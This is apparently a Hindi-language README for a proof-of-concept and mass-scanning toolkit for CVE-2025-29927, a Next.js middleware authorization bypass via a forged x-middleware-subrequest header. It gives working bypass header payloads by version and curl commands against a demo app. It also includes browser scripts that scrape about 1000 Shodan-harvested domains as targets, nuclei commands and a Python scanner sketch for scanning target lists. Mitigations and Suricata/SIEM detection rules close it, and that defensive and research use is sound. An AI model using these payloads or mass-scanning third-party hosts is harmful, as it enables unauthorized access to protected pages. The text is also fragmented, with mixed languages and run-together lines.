
प्रूफ-ऑफ-कॉन्सेप्ट और मास स्कैनिंग टूलकिट CVE-2025-29927 के लिए, जो फोर्ज्ड x-middleware-subrequest हेडर के माध्यम से Next.js मिडलवेयर प्राधिकरण बायपास है। इसमें nuclei टेम्पलेट और Python स्कैनर शामिल हैं।
संक्षेप में: Next.js middleware में एक कमजोरी, जो
x-middleware-subrequestहेडर को जाली बनाकर प्राधिकरण जाँचों को बायपास करने की अनुमति देती है।
मैंने shodan में http.headers:"x-middleware-rewrite" फ़िल्टर से खोज की और 1000 डोमेन की सूची ले ली।
var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}\.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+\.)[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();
var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();
संदर्भ और पृष्ठभूमि Next.js के शुरुआती संस्करणों में, middleware एप्लिकेशन से आंतरिक (sub-)अनुरोध कर सकते थे। पुनरावृत्ति (recursion) को रोकने के लिए, फ्रेमवर्क सर्विस HTTP-हेडर पेश करता था — आंतरिक मार्कर, जो दर्शाते थे कि "यह अनुरोध पहले ही संसाधित हो चुका है"। यह दृष्टिकोण व्यावहारिक था और middleware पाइपलाइन के भीतर अनंत लूप से बचाता था।
Middleware का विकास और पेलोड (payloads) Next.js 12.2 से पहले, middleware pages/ के अंदर _middleware के रूप में स्थित होते थे और नेस्टेड हो सकते थे (pages/_middleware, pages/dashboard/_middleware आदि)। Payload किसी विशिष्ट पथ को इंगित कर सकता था (x-middleware-subrequest: pages/dashboard/_middleware)। 12.2 से, middleware का नामकरण middleware.js/ts हो गया और वे pages/ में नहीं रहे। इस मामले में, सरल payload x-middleware-subrequest: middleware (या src/middleware जब src/ उपयोग में हो) अक्सर काम करता था। बाद के संस्करणों (≥ 13.2.0) ने अतिरिक्त जाँचें शुरू कीं, जिनमें MAX_RECURSION_DEPTH शामिल है; कुछ बाईपास तकनीकों में नेस्टेड चेन का अनुकरण करने के लिए middleware:middleware:... जैसे दोहराए जाने वाले मान उपयोग किए गए। व्यवहार में: payload का सटीक प्रारूप Next.js के संस्करण और प्रोजेक्ट संरचना पर निर्भर करता है।
फिक्स का इतिहास और x-middleware-subrequest-id की समस्या प्रारंभिक त्वरित पैच में एक आंतरिक पहचानकर्ता — x-middleware-subrequest-id — का विचार शामिल था, जो वैध आंतरिक subrequests को नकली से अलग करने के लिए रनटाइम पर उत्पन्न और सत्यापित किया जाता था। हालाँकि, कार्यान्वयन ने एक दुष्प्रभाव दिखाया: यह आंतरिक ID बाहर लीक हो सकता था (आउटगोइंग fetch/अनुरोधों में जाकर), जिससे एक नया जोखिम पैदा होता था। इसके अलावा, कई CDN/PoP और मिश्रित रनटाइम्स (Edge vs Node) की स्थितियों में पहचानकर्ताओं की सिग्नेचर/सिंक्रोनाइज़ेशन अविश्वसनीय साबित हुई। परिणामस्वरूप, x-middleware-subrequest-id वाला कोड हटा दिया गया/फिर से तैयार किया गया; अंतिम समाधान — Next.js में पैच और प्लेटफ़ॉर्म-स्तरीय mitigations का संयोजन (ingress/edge स्तर पर आने वाले internal-हेडरों का फ़िल्टरिंग)।
CVE-2025-29927x-middleware-subrequest पर गलत तरीके से भरोसा करता है। बाहरी क्लाइंट यह हेडर सेट कर सकता है और एक्सेस जाँचों को बायपास कर सकता है।x-middleware-subrequest पर निर्भर करता है। यह फ़ील्ड मूल रूप से फ्रेमवर्क के आंतरिक संचालन के लिए थी, लेकिन बाहरी अनुरोध यह हेडर सेट कर सकते हैं, जिससे प्राधिकरण को बायपास किया जा सकता है।निम्नलिखित संस्करण श्रेणियाँ संवेदनशील हैं:
>= 11.1.4 और < 12.3.5>= 13.0.0 और < 13.5.9>= 14.0.0 और < 14.2.25>= 15.0.0 और < 15.2.39.1 (CRITICAL)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Ngit clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
# без заголовка — ожидаем отказ (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20
# с поддельным заголовком — если уязвимо, вернёт 200 + тело
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20
/_next/static/, package.json, headers, favicon hash) — सुरक्षित मोड।x-middleware-subrequest के साथ GET भेजता है और प्रतिक्रिया की तुलना करता है। अनिवार्य रूप से rate-limit और throttle उपयोग करें।चलाने के लिए कमांड (उदाहरण):
# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt
# active (контролируемо)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20
x-middleware-subrequest हेडर के साथ दोहराएँ → स्थिति और बॉडी की तुलना करें।--concurrency, --delay, --dry-run, --respect-robots।aiohttp / asyncio उपयोग करें।संक्षिप्त स्यूडोकोड:
async def probe(url):
r1 = await session.get(url)
r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
if significant_difference(r1, r2):
report_vulnerable(url)
>= 12.3.5, >= 13.5.9, >= 14.2.25, >= 15.2.3।x-middleware-subrequest हेडर हटाएँ/साफ़ करें:नियम/अलर्ट के उदाहरण:
SIEM: आने वाले अनुरोधों पर अलर्ट करें, यदि x-middleware-subrequest मौजूद है और source.ip trusted_proxies में नहीं है।
Suricata (स्यूडो):
alert http any any -> any any (msg:"External request with X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)
alert if request.headers contains "x-middleware-subrequest" AND source.ip not in trusted_proxies
https://github.com/<author>/CVE-2025-29927-POChttps://github.com/<author>/vulnerable-nextjs-demo